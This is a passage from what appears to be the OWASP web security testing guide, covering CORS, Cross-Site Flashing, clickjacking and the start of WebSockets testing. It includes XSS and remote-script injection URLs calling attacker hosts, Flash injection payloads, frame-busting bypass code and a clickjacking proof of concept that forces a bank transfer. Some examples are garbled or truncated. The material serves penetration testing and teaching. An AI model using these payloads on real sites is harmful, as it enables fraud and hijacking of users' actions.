Cross-Origin requests have an Origin header, that identifies the domain initiating the request and is always sent to the server. CORS defines the protocol to use between a web browser and a server to determine whether a cross-origin request is allowed. In order to accomplish this goal, there are a few HTTP headers involved in this process, that are supported by all major browsers and we will cover below including: Origin, Access-Control-Request-Method, Access-Control-Request-Headers, Access-Control-Allow-Origin, Access-Control-Allow-Credentials, Access-Control-Allow-Methods, Access-Control-Allow-Headers.

The CORS specification mandates that for non simple requests, such as requests other than GET or POST or requests that uses credentials, a pre-flight OPTIONS request must be sent in advance to check if the type of request will have a bad impact on the data. The pre-flight request checks the methods, headers allowed by the server, and if credentials are permitted, based on the result of the OPTIONS request, the browser decides whether the request is allowed or not.

How to Test

Origin & Access-Control-Allow-Origin

The Origin header is always sent by the browser in a CORS request and indicates the origin of the request. The Origin header can not be changed from JavaScript however relying on this header for Access Control checks is not a good idea as it may be spoofed outside the browser, so you still need to check that application-level protocols are used to protect sensitive data.

Access-Control-Allow-Origin is a response header used by a server to indicate which domains are allowed to read the response. Based on the CORS W3 Specification it is up to the client to determine and enforce the restriction of whether the client has access to the response data based on this header.

From a penetration testing perspective you should look for insecure configurations as for example using a '*' wildcard as value of the Access-Control-Allow-Origin header that means all domains are allowed. Other insecure example is when the server returns back the Origin header without any additional checks, what can lead to access of sensitive data. Note that this configuration is very insecure, and is not acceptable in general terms, except in the case of a public API that is intended to be accessible by everyone.

Access-Control-Request-Method & Access-Control-Allow-Method

The Access-Control-Request-Method header is used when a browser performs a preflight OPTIONS request and let the client indicate the request method of the final request. On the other hand, the Access-Control-Allow-Method is a response header used by the server to describe the methods the clients are allowed to use.

Access-Control-Request-Headers & Access-Control-Allow-Headers

These two headers are used between the browser and the server to determine which headers can be used to perform a cross-origin request.

Access-Control-Allow-Credentials

This header as part of a preflight request indicates that the final request can include user credentials.

Input validation

XMLHttpRequest L2 (or XHR L2) introduces the possibility of creating a cross-domain request using the XHR API for backwards compatibility. This can introduce security vulnerabilities that in XHR L1 were not present. Interesting points of the code to exploit would be URLs that are passed to XMLHttpRequest without validation, specially if absolute URLs are allowed because that could lead to code injection. Likewise, other part of the application that can be exploited is if the response data is not escaped and we can control it by providing user-supplied input.

Other headers

There are other headers involved like Access-Control-Max-Age that determines the time a preflight request can be cached in the browser, or Access-Control-Expose-Headers that indicates which headers are safe to expose to the API of a CORS API specification, both are response headers specified in the CORS W3C document.

Black Box testing

Black box testing for finding issues related to Cross Origin Resource Sharing is not usually performed since access to the source code is always available as it needs to be sent to the client to be executed.

Gray Box testing

Check the HTTP headers in order to understand how CORS is used, in particular we should be very interested in the Origin header to learn which domains are allowed. Also, manual inspection of the JavaScript is needed to determine whether the code is vulnerable to code injection due to improper handling of user supplied input. Below are some examples:

Example 1: Insecure response with wildcard '*' in Access-Control-Allow-Origin:

Request (note the 'Origin' header:)

```
GET http://attacker.bar/test.php HTTP/1.1
Host: attacker.bar
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/CORSexample1.html
Origin: http://example.foo
Connection: keep-alive
```

Response (note the 'Access-Control-Allow-Origin' header:)

```
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:57:53 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Content-Length: 4
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: application/xml
```

[Response Body]

Example 2: Input validation issue, XSS with CORS:

This code makes a request to the resource passed after the # character in the URL, initially used to get resources in the

same server.

Vulnerable code:

```
<script>

var req = new XMLHttpRequest();

req.onreadystatechange = function() {
    if(req.readyState==4 && req.status==200) {
        document.getElementById("div1").innerHTML=req.responseText;
    }
}

var resource = location.hash.substring(1);
req.open("GET", resource,true);
req.send();
</script>

<body>
<div id="div1"></div>
</body>
```

For example, a request like this will show the contents of the profile.php file:

```
http://example.foo/main.php#profile.php
```

Request and response generated by this URL:

```
GET http://example.foo/profile.php HTTP/1.1
Host: example.foo
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Connection: keep-alive
```

```
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 18:20:48 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze17
Vary: Accept-Encoding
Content-Length: 25
Keep-Alive: timeout=15, max=99
Connection: Keep-Alive
Content-Type: text/html
```

[Response Body]

Now, as there is no URL validation we can inject a remote script, that will be injected and executed in the context of the example.foo domain, with a URL like this:

```
http://example.foo/main.php#http://attacker.bar/file.php
```


Request and response generated by this URL:

```
GET http://attacker.bar/file.php HTTP/1.1
Host: attacker.bar
```

```
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.8; rv:24.0) Gecko/20100101 Firefox/24.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://example.foo/main.php
Origin: http://example.foo
Connection: keep-alive
```

```
HTTP/1.1 200 OK
Date: Mon, 07 Oct 2013 19:00:32 GMT
Server: Apache/2.2.22 (Debian)
X-Powered-By: PHP/5.4.4-14+deb7u3
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
Content-Length: 92
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html
```

```
Injected Content from attacker.bar 
```



Tools

- **OWASP Zed Attack Proxy (ZAP)** - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project ZAP is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing. ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

References

OWASP Resources

- OWASP HTML5 Security Cheat Sheet: https://www.owasp.org/index.php/HTML5_Security_Cheat_Sheet

Whitepapers

- **W3C** - CORS W3C Specification: <http://www.w3.org/TR/cors/>

Testing for Cross Site Flashing (OTG-CLIENT-008)

Summary

ActionScript is the language, based on ECMAScript, used by Flash applications when dealing with interactive needs. There are three versions of the ActionScript language. ActionScript 1.0 and ActionScript 2.0 are very similar with ActionScript 2.0 being an extension of ActionScript 1.0. ActionScript 3.0, introduced with Flash Player 9, is a rewrite of the language to support object orientated design.

ActionScript, like every other language, has some implementation patterns which could lead to security issues. In particular, since Flash applications are often embedded in browsers, vulnerabilities like DOM based Cross-Site Scripting (XSS) could be present in flawed Flash applications.

How to Test

Since the first publication of "Testing Flash Applications" [1], new versions of Flash player were released in order to mitigate some of the attacks which will be described. Nevertheless, some issues still remain exploitable because they are the result of insecure programming practices.

Decompilation

Since SWF files are interpreted by a virtual machine embedded in the player itself, they can be potentially decompiled and analysed. The most known and free ActionScript 2.0 decompiler is flare.

To decompile a SWF file with flare just type:

```
$ flare hello.swf
```

it will result in a new file called hello.flr.

Decompilation helps testers because it allows for source code assisted, or white-box, testing of the Flash applications. HP's free SWFScan tool can decompile both ActionScript 2.0 and ActionScript 3.0 [SWFScan](#)

The [OWASP Flash Security Project](#) maintains a list of current disassemblers, decompilers and other Adobe Flash related testing tools.

Undefined Variables FlashVars

FlashVars are the variables that the SWF developer planned on receiving from the web page. FlashVars are typically passed in from the Object or Embed tag within the HTML. For instance:

```
<object width="550" height="400" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,124,0">
  <param name="movie" value="somefilename.swf">
  <param name="FlashVars" value="var1=val1&var2=val2">
  <embed src="somefilename.swf" width="550" height="400" FlashVars="var1=val1&var2=val2">
</embed>
</object>
```

FlashVars can also be initialized from the URL:

```
http://www.example.org/somefilename.swf?var1=val1&var2=val2
```

In ActionScript 3.0, a developer must explicitly assign the FlashVar values to local variables. Typically, this looks like:

```
var paramObj:Object = LoaderInfo(this.root.loaderInfo).parameters;
var var1:String = String(paramObj["var1"]);
var var2:String = String(paramObj["var2"]);
```

In ActionScript 2.0, any uninitialized global variable is assumed to be a FlashVar. Global variables are those variables that are prepended by `_root`, `_global` or `_level0`. This means that if an attribute like:

```
_root.varname
```

is undefined throughout the code flow, it could be overwritten by setting

```
http://victim/file.swf?varname=value
```

Regardless of whether you are looking at ActionScript 2.0 or ActionScript 3.0, FlashVars can be a vector of attack. Let's look at some ActionScript 2.0 code that is vulnerable:

Example:

```
movieClip 328 __Packages.Locale {
    #initclip
    if (!_global.Locale) {
        var v1 = function (on_load) {
            var v5 = new XML();
            var v6 = this;
            v5.onLoad = function (success) {
                if (success) {
                    trace('Locale loaded xml');
                    var v3 = this.xliff.file.body.$trans_unit;
                    var v2 = 0;
                    while (v2 < v3.length) {
                        Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
                        ++v2;
                    }
                    on_load();
                } else {}
            };
            if (_root.language != undefined) {
                Locale.DEFAULT_LANG = _root.language;
            }
            v5.load(Locale.DEFAULT_LANG + '/player_' +
                Locale.DEFAULT_LANG + '.xml');
        };
    }
};
```

The above code could be attacked by requesting:

```
http://victim/file.swf?language=http://evil.example.org/malicious.xml?
```

Unsafe Methods

When an entry point is identified, the data it represents could be used by unsafe methods. If the data is not

filtered/validated using the right regexp it could lead to some security issue.

Unsafe Methods since version r47 are:

```
loadVariables()
loadMovie()
getUrl()
loadMovie()
loadMovieNum()
ScrollPane.loadScrollContent()
LoadVars.load
LoadVars.send
XML.load ( 'url' )
LoadVars.load ( 'url' )
Sound.loadSound( 'url' , isStreaming );
NetStream.play( 'url' );

flash.external.ExternalInterface.call(_root.callback)

htmlText
```

The Test

In order to exploit a vulnerability, the swf file should be hosted on the victim's host, and the techniques of reflected XSS must be used. That is forcing the browser to load a pure swf file directly in the location bar (by redirection or social engineering) or by loading it through an iframe from an evil page:

```
<iframe src='http://victim/path/to/file.swf'></iframe>
```

This is because in this situation the browser will self-generate an HTML page as if it were hosted by the victim host.

XSS

GetURL (AS2) / NavigateToURL (AS3):

The GetURL function in ActionScript 2.0 and NavigateToURL in ActionScript 3.0 lets the movie load a URI into the browser's window.

So if an undefined variable is used as the first argument for getUrl:

```
getUrl(_root.URI, '_targetFrame');
```

Or if a FlashVar is used as the parameter that is passed to a navigateToURL function:

```
var request:URLRequest = new URLRequest(FlashVarSuppliedURL);
navigateToURL(request);
```

Then this will mean it's possible to call JavaScript in the same domain where the movie is hosted by requesting:

```
http://victim/file.swf?URI=javascript:evilcode

getUrl('javascript:evilcode', '_self');
```

The same when only some part of getUrl is controlled:

```
Dom Injection with Flash JavaScript injection
getUrl('javascript:function('+_root.arg+')')
```

asfunction:

You can use the special asfunction protocol to cause the link to execute an ActionScript function in a SWF file instead of opening a URL. Until release Flash Player 9 r48 asfunction could be used on every method which has a URL as an argument. After that release, asfunction was restricted to use within an HTML TextField.

This means that a tester could try to inject:

```
asfunction:getURL,javascript:evilcode
```

in every unsafe method like:

```
loadMovie(_root.URL)
```

by requesting:

```
http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode
```

ExternalInterface:

ExternalInterface.call is a static method introduced by Adobe to improve player/browser interaction for both ActionScript 2.0 and ActionScript 3.0.

From a security point of view it could be abused when part of its argument could be controlled:

```
flash.external.ExternalInterface.call(_root.callback);
```

the attack pattern for this kind of flaw should be something like the following:

```
eval(evilcode)
```

since the internal JavaScript which is executed by the browser will be something similar to:

```
eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { "<undefined/>"; }')
```

HTML Injection

TextField Objects can render minimal HTML by setting:

```
tf.html = true
tf.htmlText = '<tag>text</tag>'
```

So if some part of text could be controlled by the tester, an A tag or an IMG tag could be injected resulting in modifying the GUI or XSS the browser.

Some attack examples with A Tag:

- Direct XSS: ``
- Call a function: ``
- Call SWF public functions: ``
- Call native static as function: ``

IMG tag could be used as well:

```
<img src='http://evil/evil.swf' >
<img src='javascript:evilcode//.swf' > (.swf is necessary to bypass flash player internal filter)
```

Note: since release Flash Player 9.0.124.0 of Flash player XSS is no longer exploitable, but GUI modification could still be accomplished.

Cross-Site Flashing

Cross-Site Flashing (XSF) is a vulnerability which has a similar impact as XSS.

XSF Occurs when from different domains:

- One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it
- XSF could also occurs when an HTML page uses JavaScript to command an Adobe Flash movie, for example, by calling:
 - GetVariable: access to flash public and static object from JavaScript as a string.
 - SetVariable: set a static or public flash object to a new string value from JavaScript.
- Unexpected Browser to SWF communication could result in stealing data from the SWF application.

It could be performed by forcing a flawed SWF to load an external evil flash file. This attack could result in XSS or in the modification of the GUI in order to fool a user to insert credentials on a fake flash form. XSF could be used in the presence of Flash HTML Injection or external SWF files when loadMovie* methods are used.

Open redirectors

SWFs have the capability to navigate the browser. If the SWF takes the destination in as a FlashVar, then the SWF may be used as an open redirector. An open redirector is any piece of website functionality on a trusted website that an attacker can use to redirect the end-user to a malicious website. These are frequently used within phishing attacks. Similar to cross-site scripting, the attack involves a user clicking on a malicious link.

In the Flash case, the malicious URL might look like:

```
http://trusted.example.org/trusted.swf?getURLValue=http://www.evil-spoofing-website.org/phishEndUsers.html
```

In the above example, an end-user might see the URL begins with their favorite trusted website and click on it. The link would load the trusted SWF which takes the getURLValue and provides it to an ActionScript browser navigation call:

```
getURL(_root.getURLValue, "_self");
```

This would navigate the browser to the malicious URL provided by the attacker. At this point, the phisher has successfully leveraged the trust the user has in trusted.example.org to trick the user into their malicious website. From there, they could launch a 0-day, conduct spoofing of the original website, or any other type of attack. SWFs may unintentionally be acting as an open-redirector on the website.

Developers should avoid taking full URLs as FlashVars. If they only plan to navigate within their own website, then they should use relative URLs or verify that the URL begins with a trusted domain and protocol.

Attacks and Flash Player Version

Since May 2007, three new versions of Flash player were released by Adobe. Every new version restricts some of the attacks previously described.

Attack	asfunction	ExternalInterface	GetURL	Html Injection
Player Version				
v9.0 r47/48	Yes	Yes	Yes	Yes
v9.0 r115	No	Yes	Yes	Yes
v9.0 r124	No	Yes	Yes	Partially

Result Expected:

Cross-Site Scripting and Cross-Site Flashing are the expected results on a flawed SWF file.

Tools

- Adobe SWF Investigator: <http://labs.adobe.com/technologies/swfinvestigator/>
- SWFScan: <http://h30499.www3.hp.com/t5/Following-the-Wh1t3-Rabbit/SWFScan-FREE-Flash-decompiler/ba-p/5440167>
- SWFIntruder: <https://www.owasp.org/index.php/Category:SWFIntruder>
- Decompiler – Flare: <http://www.nowrap.de/flare.html>
- Compiler – MTASC: <http://www.mtasc.org/>
- Disassembler – Flasm: <http://flasm.sourceforge.net/>
- Swfmill – Convert Swf to XML and vice versa: <http://swfmill.org/>
- Debugger Version of Flash Plugin/Player: <http://www.adobe.com/support/flash/downloads.html>

References

OWASP

- OWASP Flash Security Project: The OWASP Flash Security project has even more references than what is listed below: http://www.owasp.org/index.php/Category:OWASP_Flash_Security_Project

Whitepapers

- Testing Flash Applications: A new attack vector for XSS and XSFlashing:

http://www.owasp.org/images/8/8c/OWASPApSec2007Milan_TestingFlashApplications.ppt

- Finding Vulnerabilities in Flash Applications: http://www.owasp.org/images/d/d8/OWASP-WASCApSec2007SanJose_FindingVulnsinFlashApps.ppt
- Adobe security updates with Flash Player 9,0,124,0 to reduce cross-site attacks: http://www.adobe.com/devnet/flashplayer/articles/flash_player9_security_update.html
- Securing SWF Applications: http://www.adobe.com/devnet/flashplayer/articles/secure_swf_apps.html
- The Flash Player Development Center Security Section: <http://www.adobe.com/devnet/flashplayer/security.html>
- The Flash Player 10.0 Security Whitepaper: http://www.adobe.com/devnet/flashplayer/articles/flash_player10_security_wp.html


Testing for Clickjacking (OTG-CLIENT-009)

Summary


"Clickjacking" (which is a subset of the "UI redressing") is a malicious technique that consists of deceiving a web user into interacting (in most cases by clicking) with something different to what the user believes they are interacting with. This type of attack, that can be used alone or in combination with other attacks, could potentially send unauthorized commands or reveal confidential information while the victim is interacting on seemingly harmless web pages. The term "Clickjacking" was coined by Jeremiah Grossman and Robert Hansen in 2008.

A Clickjacking attack uses seemingly innocuous features of HTML and Javascript to force the victim to perform undesired actions, such as clicking on a button that appears to perform another operation. This is a "client side" security issue that affects a variety of browsers and platforms.

To carry out this type of technique the attacker has to create a seemingly harmless web page that loads the target application through the use of an iframe (suitably concealed through the use of CSS code). Once this is done, the attacker could induce the victim to interact with his fictitious web page by other means (like for example social engineering). Like others attacks, an usual prerequisite is that the victim is authenticated against the attacker's target website.



Once the victim is surfing on the fictitious web page, he thinks that he is interacting with the visible user interface, but effectively he is performing actions on the hidden page. Since the hidden page is an authentic page, the attacker can deceive users into performing actions which they never intended to perform through an "ad hoc" positioning of the elements in the web page.



The power of this method is due to the fact that the actions performed by the victim are originated from the authentic target web page (hidden but authentic). Consequently some of the anti-CSRF protections, that are deployed by the developers to protect the web page from CSRF attacks, could be bypassed.

How to Test

As mentioned above, this type of attack is often designed to allow an attacker site to induce user's actions on the target site even if anti-CSRF tokens are being used. So it's important, like for the CSRF attack, to individuate web pages of the target site that it take input from the user.

We have to discover if the website that we are testing has no protections against clickjacking attacks or, if the developers have implemented some forms of protection, if these techniques are liable to bypass. Once we know that the website is vulnerable, we can create a "proof of concept" to exploit the vulnerability.

The first step to discover if a website is vulnerable, is to check if the target web page could be loaded into an iframe. To do this you need to create a simple web page that includes a frame containing the target web page. The HTML code to create this testing web page is displayed in the following snippet:

```
<html>
  <head>
    <title>Clickjack test page</title>
  </head>
  <body>
    <p>Website is vulnerable to clickjacking!</p>
    <iframe src="http://www.target.site" width="500" height="500"></iframe>
  </body>
</html>
```

Result Expected: If you can see both the text "Website is vulnerable to clickjacking!" at the top of the page and your target web page successfully loaded into the frame, then your site is vulnerable and has no type of protection against Clickjacking attacks. Now you can directly create a "proof of concept" to demonstrate that an attacker could exploit this vulnerability.

Bypass Clickjacking protection:

In case in which you only see the target site or the text "Website is vulnerable to clickjacking!" but nothing in the iframe this mean that the target probably has some form of protection against clickjacking. It's important to note that this isn't a guarantee that the page is totally immune to clickjacking.

Methods to protect a web page from clickjacking can be divided in two macro-categories:

- Client side protection: Frame Busting
- Server side protection: X-Frame-Options

In some circumstances, every single type of defense could be bypassed. Following are presented the main methods of protection from these attacks and techniques to bypass them.

Client side protection: Frame Busting

The most common client side method, that has been developed to protect a web page from clickjacking, is called Frame Busting and it consists of a script in each page that should not be framed. The aim of this technique is to prevent a site from functioning when it is loaded inside a frame.

The structure of frame busting code typically consists of a "conditional statement" and a "counter-action" statement. For this type of protection, there are some work arounds that fall under the name of "Bust frame busting". Some of this techniques are browser-specific while others work across browsers.

Mobile website version

Mobile versions of the website are usually smaller and faster than the desktop ones, and they have to be less complex than the main application. Mobile variants have often less protection since there is the wrong assumption that an attacker could not attack an application by the smart phone. This is fundamentally wrong, because an attacker can fake the real origin given by a web browser, such that a non-mobile victim may be able to visit an application made for mobile users. From this assumption follows that in some cases it is not necessary to use techniques to evade frame busting when there are unprotected alternatives, which allow the use of same attack vectors.

Double Framing

Some frame busting techniques try to break frame by assigning a value to the "parent.location" attribute in the "counter-action" statement.

Such actions are, for example:

- self.parent.location = document.location
- parent.location.href = self.location
- parent.location = self.location

This method works well until the target page is framed by a single page. However, if the attacker encloses the target web page in one frame which is nested in another one (a double frame), then trying to access to "parent.location" becomes a security violation in all popular browsers, due to the descendant frame navigation policy. This security violation disables the counter-action navigation.

Target site frame busting code (target site):

```
if(top.location!=self.locaton) {
    parent.location = self.location;
}
```

Attacker's top frame (fictitious2.html):

```
<iframe src="fictitious.html">
```

Attacker's fictitious sub-frame (fictitious.html):

```
<iframe src="http://target site">
```

Disabling javascript

Since these type of client side protections relies on JavaScript frame busting code, if the victim has JavaScript disabled or it is possible for an attacker to disable JavaScript code, the web page will not have any protection mechanism against clickjacking.

There are three deactivation techniques that can be used with frames:

- Restricted frames with Internet Explorer: Starting from Internet Explorer 6, a frame can have the "security" attribute that, if it is set to the value "restricted", ensures that JavaScript code, ActiveX controls, and re-directs to other sites do not work in the frame.

Example:

```
<iframe src="http://target site" security="restricted"></iframe>
```

- **Sandbox attribute:** with HTML5 there is a new attribute called "sandbox". It enables a set of restrictions on content loaded into the iframe. At this moment this attribute is only compatible with Chrome and Safari.

Example:

```
<iframe src="http://target site" sandbox></iframe>
```

- **Design mode:** Paul Stone showed a security issue concerning the "designMode" that can be turned on in the framing page (via document.designMode), disabling JavaScript in top and sub-frame. The design mode is currently implemented in Firefox and IE8.

onBeforeUnload event

The onBeforeUnload event could be used to evade frame busting code. This event is called when the frame busting code wants to destroy the iframe by loading the URL in the whole web page and not only in the iframe. The handler function returns a string that is prompted to the user asking confirm if he wants to leave the page. When this string is displayed to the user is likely to cancel the navigation, defeating target's frame busting attempt.

The attacker can use this attack by registering an unload event on the top page using the following example code:

```
<h1>www.fictitious.site</h1>
<script>
  window.onbeforeunload = function()
  {
    return " Do you want to leave fictitious.site?";
  }
</script>
<iframe src="http://target site">
```

The previous technique requires the user interaction but, the same result, can be achieved without prompting the user. To do this the attacker has to automatically cancel the incoming navigation request in an onBeforeUnload event handler by repeatedly submitting (for example every millisecond) a navigation request to a web page that responds with a "HTTP/1.1 204 No Content" header.

Since with this response the browser will do nothing, the resulting of this operation is the flushing of the request pipeline, rendering the original frame busting attempt futile.

Following an example code:

204 page:

```
<?php
  header("HTTP/1.1 204 No Content");
?>
```

Attacker's page:

```
<script>
  var prevent_bust = 0;
  window.onbeforeunload = function() {
    prevent_bust++;
  };
  setInterval(
    function() {
      if (prevent_bust > 0) {
        prevent_bust -= 2;
      }
    }
  );
```

```

        window.top.location = "http://attacker.site/204.php";
    }
}, 1);
</script>
<iframe src="http://target site">

```

XSS Filter

Starting from Google Chrome 4.0 and from IE8 there were introduced XSS filters to protect users from reflected XSS attacks. Nava and Lindsay have observed that these kind of filters can be used to deactivate frame busting code by faking it as malicious code.

- IE8 XSS filter:** this filter has visibility into all requests and responses parameters flowing through the web browser and it compares them to a set of regular expressions in order to look for reflected XSS attempts. When the filter identifies a possible XSS attacks; it disable all inline scripts within the page, including frame busting scripts (the same thing could be done with external scripts). For this reason an attacker could induces a false positive by inserting the beginning of the frame busting script into a request parameters.

Example: Target web page frame busting code:

```

<script>
    if ( top != self )
    {
        top.location=self.location;
    }
</script>

```

Attacker code:

```

<iframe src="http://target site/?param=<script>if">

```

- Chrome 4.0 XSS Auditor filter:** It has a little different behaviour compared to IE8 XSS filter, in fact with this filter an attacker could deactivate a "script" by passing its code in a request parameter. This enables the framing page to specifically target a single snippet containing the frame busting code, leaving all the other codes intact.

Example: Target web page frame busting code:

```

<script>
    if ( top != self )
    {
        top.location=self.location;
    }
</script>

```

Attacker code:

```

<iframe src="http://target site/?param=if(top+!%3D+self)+%7B+top.location%3Dself.location%3B+%7D">

```

Redefining location

For several browser the "document.location" variable is an immutable attribute. However, for some version of Internet Explorer and Safari, it is possible to redefine this attribute. This fact can be exploited to evade frame busting code.

- Redefining location in IE7 and IE8:** it is possible to redefine "location" as it is illustrated in the following example. By defining "location" as a variable, any code that tries to read or to navigate by assigning "top.location" will fail due to a

security violation and so the frame busting code is suspended.

Example:

```
<script>
  var location = "xyz";
</script>
<iframe src="http://target site"></iframe>
```

- **Redefining location in Safari 4.0.4:** To bust frame busting code with "top.location" it is possible to bind "location" to a function via defineSetter (through window), so that an attempt to read or navigate to the "top.location" will fail.

Example:

```
<script>
  window.defineSetter("location" , function(){});
</script>
<iframe src="http://target site"></iframe>
```

Server side protection: X-Frame-Options

An alternative approach to client side frame busting code was implemented by Microsoft and it consists of an header based defense. This new "X-FRAME-OPTIONS" header is sent from the server on HTTP responses and is used to mark web pages that shouldn't be framed. This header can take the values DENY, SAMEORIGIN, ALLOW-FROM origin, or non-standard ALLOWALL. Recommended value is DENY.

The "X-FRAME-OPTIONS" is a very good solution, and was adopted by major browser, but also for this technique there are some limitations that could lead in any case to exploit the clickjacking vulnerability.

Browser compatibility

Since the "X-FRAME-OPTIONS" was introduced in 2009, this header is not compatible with old browser. So every user that doesn't have an updated browser could be victim of clickjacking attack.

Browser	Lowest version
Internet Explorer	8.0
Firefox (Gecko)	3.6.9 (1.9.2.9)
Opera	10.50
Safari	4.0
Chrome	4.1.249.1042

Proxies

Web proxies are known for adding and stripping headers. In the case in which a web proxy strips the "X-FRAME-OPTIONS" header then the site loses its framing protection.

Mobile website version


Also in this case, since the "X-FRAME-OPTIONS" has to be implemented in every page of the website, the developers may have not protected the mobile version of the website.

Create a "proof of concept"

Once we have discovered that the site we are testing is vulnerable to clickjacking attack, we can proceed with the development of a "proof of concept" to demonstrate the vulnerability. It is important to note that, as mentioned previously,

these attacks can be used in conjunction with other forms of attacks (for example CSRF attacks) and could lead to overcome anti-CSRF tokens. In this regard we can imagine that, for example, the target site allows to authenticated and authorized users to make a transfer of money to another account.

Suppose that to execute the transfer the developers have planned three steps. In the first step the user fill a form with the destination account and the amount. In the second step, whenever the user submits the form, is presented a summary page asking the user confirmation (like the one presented in the following picture).



Following a snippet of the code for the step 2:

```
//generate random anti CSRF token
$csrfToken = md5(uniqid(rand(), TRUE));

//set the token as in the session data
$_SESSION['antiCsrf'] = $csrfToken;

//Transfer form with the hidden field
$form = '
<form name="transferForm" action="confirm.php" method="POST">
  <div class="box">
    <h1>BANK XYZ - Confirm Transfer</h1>
    <p>
      Do You want to confirm a transfer of <b>'. $_REQUEST['amount'] .' &euro;</b> to account: <b>'. $_REQUEST['accou
    </p>
    <label>
      <input type="hidden" name="amount" value="' . $_REQUEST['amount'] . '" />
      <input type="hidden" name="account" value="' . $_REQUEST['account'] . '" />
      <input type="hidden" name="antiCsrf" value="' . $csrfToken . '" />
      <input type="submit" class="button" value="Transfer Money" />
    </label>
  </div>
</form>';
```

In the last step are planned security controls and then, if is all ok, the transfer is done. Following is presented a snippet of the code of the last step (**Note**: in this example, for simplicity, there is no input sanitization, but it has no relevance to block this type of attack):

```
if( (!empty($_SESSION['antiCsrf'])) && (!empty($_POST['antiCsrf'])) )
{
  //here we can suppose input sanitization code...

  //check the anti-CSRF token
  if( ($_SESSION['antiCsrf'] == $_POST['antiCsrf']) )
  {
    echo '<p> '. $_POST['amount'] .' &euro; successfully transferred to account: '. $_POST['account'] .' </p>';
  }
}
else
{
  echo '<p>Transfer KO</p>';
}
```

As you can see the code is protected from CSRF attack both with a random token generated in the second step and

accepting only variable passed via POST method. In this situation an attacker could forge a CSRF + Clickjacking attack to evade anti-CSRF protection and force a victim to do a money transfer without her consent.

The target page for the attack is the second step of the money transfer procedure. Since the developers put the security controls only in the last step, thinking that this is secure enough, the attacker could pass the account and amount parameters via GET method. (**Note:** there is an advanced clickjacking attack that permits to force users to fill a form, so also in the case in which is required to fill a form, the attack is feasible).

The attacker's page may look a simple and harmless web page like the one presented below:



www.owasp.com
Click and get!

But playing with the CSS opacity value we can see what is hidden under a seemingly innocuous web page.



The clickjacking code to create this page is presented below:

```
<html>
  <head>
    <title>Trusted web page</title>

    <style type="text/css"><!--
      *{
        margin:0;
        padding:0;
      }
      body {
        background:#ffffff;
      }
      .button
      {
        padding:5px;
        background:#6699CC;
        left:275px;
        width:120px;
        border: 1px solid #336699;
      }
      #content {
        width: 500px;
        height: 500px;
        margin-top: 150px ;
        margin-left: 500px;
      }
      #clickjacking
      {
        position: absolute;
```

```

        left: 172px;
        top: 60px;
        filter: alpha(opacity=0);
        opacity:0.0
    }
//--></style>


</head>
<body>
    <div id="content">
        <h1>www.owasp.com</h1>
        <form action="http://www.owasp.com">
            <input type="submit" class="button" value="Click and go!">
        </form>
    </div>

    <iframe id="clickjacking" src="http://localhost/csrf/transfer.php?account=ATTACKER&amount=10000" width=
    </iframe>

</body>
</html>

```

With the help of CSS (note the #clickjacking block) we can mask and suitably position the iframe in such a way as to match the buttons. If the victim click on the button "Click and go!" the form is submitted and the transfer is completed.



The example presented uses only basic clickjacking technique, but with advanced technique is possible to force user filling form with values defined by the attacker.

Tools

- Context Information Security: "Clickjacking Tool" - <http://www.contextis.com/research/tools/clickjacking-tool/>

References

OWASP Resources

- [Clickjacking](#)

Whitepapers

- Marcus Niemi: "UI Redressing: Attacks and Countermeasures Revisited" - <http://ui-redressing.mniemi.de/uiRedressing.pdf>
- "Clickjacking" - <https://en.wikipedia.org/wiki/Clickjacking>
- Gustav Rydstedt, Elie Bursztein, Dan Boneh, and Collin Jackson: "Busting Frame Busting: a Study of Clickjacking Vulnerabilities on Popular Sites" - <http://seclab.stanford.edu/websec/framebusting/framebust.pdf>
- Paul Stone: "Next generation clickjacking" - <https://media.blackhat.com/bh-eu-10/presentations/Stone/BlackHat-EU-2010-Stone-Next-Generation-Clickjacking-slides.pdf>

Testing WebSockets (OTG-CLIENT-010)

Summary

Traditionally the HTTP protocol only allows one request/response per TCP connection. Asynchronous JavaScript and XML (AJAX) allows clients to send and receive data asynchronously (in the background without a page refresh) to the server, however, AJAX requires the client to initiate the requests and wait for the server responses (half-duplex).

HTML5 WebSockets allow the client/server to create a 'full-duplex' (two-way) communication channels, allowing the client and server to truly communicate asynchronously. WebSockets conduct their initial 'upgrade' handshake over HTTP and from then on all communication is carried out over TCP channels by use of frames.

Origin

It is the server's responsibility to verify the Origin header in the initial HTTP WebSocket handshake. If the server does not validate the origin header in the initial WebSocket handshake, the WebSocket server may accept connections from any origin. This could allow attackers to communicate with the WebSocket server cross-domain allowing for [Top 10 2013-A8-Cross-Site Request Forgery \(CSRF\)](#) type issues.

Confidentiality and Integrity

